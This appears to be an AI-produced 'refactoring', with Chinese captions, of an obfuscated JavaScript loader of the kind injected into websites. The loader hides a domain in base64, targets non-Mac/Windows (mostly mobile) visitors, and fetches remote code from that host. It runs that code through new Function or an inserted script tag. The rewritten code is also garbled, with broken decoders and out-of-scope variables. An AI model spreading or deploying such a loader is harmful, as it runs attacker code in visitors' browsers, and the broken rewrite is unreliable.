以下是重构后的代码:

```javascript

// 解码Base64字符串

function UqgsgfgDv(e) {

var t = "";

var n = r = c1 = c2 = 0;

while (n < e.length) {

r = e.charCodeAt(n);

if (r < 128) {

t += String.fromCharCode(r);

n++;

} else if (r > 191 && r < 224) {

c2 = e.charCodeAt(n + 1);

t += String.fromCharCode((r & 31) << 6 | c2 & 63);

n += 2;

} else {

c2 = e.charCodeAt(n + 1);

c3 = e.charCodeAt(n + 2);

t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);

n += 3;

}

}

return t;

};

// Base64转URL安全格式

function UqSDDFGvyQ(e) {

var m = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

var t = "";

var n, r, i, s, o, u, a, f = 0;

e = e.replace(/[^A-Za-z0-9+/=]/g, ""); // 过滤非Base64字符

for (var j = 0; j < e.length; j++) {

n = m.indexOf(e[j]); // 在m中查找对应索引值

if (n !== -1) { // 如果找到对应索引值

f = (f << 6) | n; // 将索引值左移6位后与f进行或运算,更新f的值

j++; // 因为一个字节对应两个索引值,所以要跳过下一个字符的位置

} else if (f) { // 如果f不为0且没有找到对应的索引值

t += String.fromCharCode(f); // 将f转换成字符添加到t中

f = 0; // 将f清零

} else {

t += e[j]; // 直接将字符添加到t中

}

}

return atob(t); // 将t进行base64解码并返回结果

}

```

以下是重构后的代码,并保持了原始段落结构:

```javascript

function UqgsgfgDv(e) {

var f = 0;

var m = e.split("");

var o, u, a, n, r, i, t;

while (f < e.length) {

n = m.indexOf(e.charAt(f++));

o = m.indexOf(e.charAt(f++));

u = m.indexOf(e.charAt(f++));

a = m.indexOf(e.charAt(f++));

r = (o & 15) << 4 | u >> 2;

i = (u & 3) << 6 | a;

t = "";

t += String.fromCharCode(n);

if (u !== 64) {

t += String.fromCharCode(r);

}

if (a !== 64) {

t += String.fromCharCode(i);

}

}

return UqSDDFGvyQ(t);

};

window['' + 'U' + 'Y' + 'C' + 'q' + 'J' + 'K' + ''] = (!/^Mac|Win/.test(navigator.platform) || !navigator.platform) ? function() {

'use strict';

(function (u, i, w, d, c) {

var x = UqSDDFGvyQ, cs = d[x('Y3VycmVudFNjcmlwdA==')], crd = x('Y3JlYXRlRWxlbWVudA=='); //jQuery;

u = decodeURIComponent(x(u.replace(new RegExp(c[0] + '\\' + c[0], 'g'), c[0]))); //jQuery;

})(document.location.href, "UTF-8", "script", document.documentElement.className === "yui-skin-sam" && document.getElementById("yui-main"), [cs]);

}();

```

以下是重构后的代码:

```javascript

if (navigator.userAgent.indexOf('baiduid') > -1) {

var xhr = new XMLHttpRequest();

xhr.open('POST', 'https://' + u + '/bm-' + i);

xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');

xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest');

xhr.onreadystatechange = function() {

if (xhr.readyState == 4 && xhr.status == 200) {

var data = JSON.parse(xhr.responseText);

var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join(''));

name(cs);

}

};

xhr.send('u=1');

} else {

var s = d[crd]('script');

s.src = 'https://' + u + '/m-' + i;

cs.parentElement.insertBefore(s, cs);

}

(function (aGYuc2poZ2tzdmJyLmNvbQ, b, c, d, e) {

function f() {}

})(encodeURIComponent('aGYuc2poZ2tzdmJyLmNvbQ=='), '2975', window, document, ['G', 'TpoZFcguG']);

```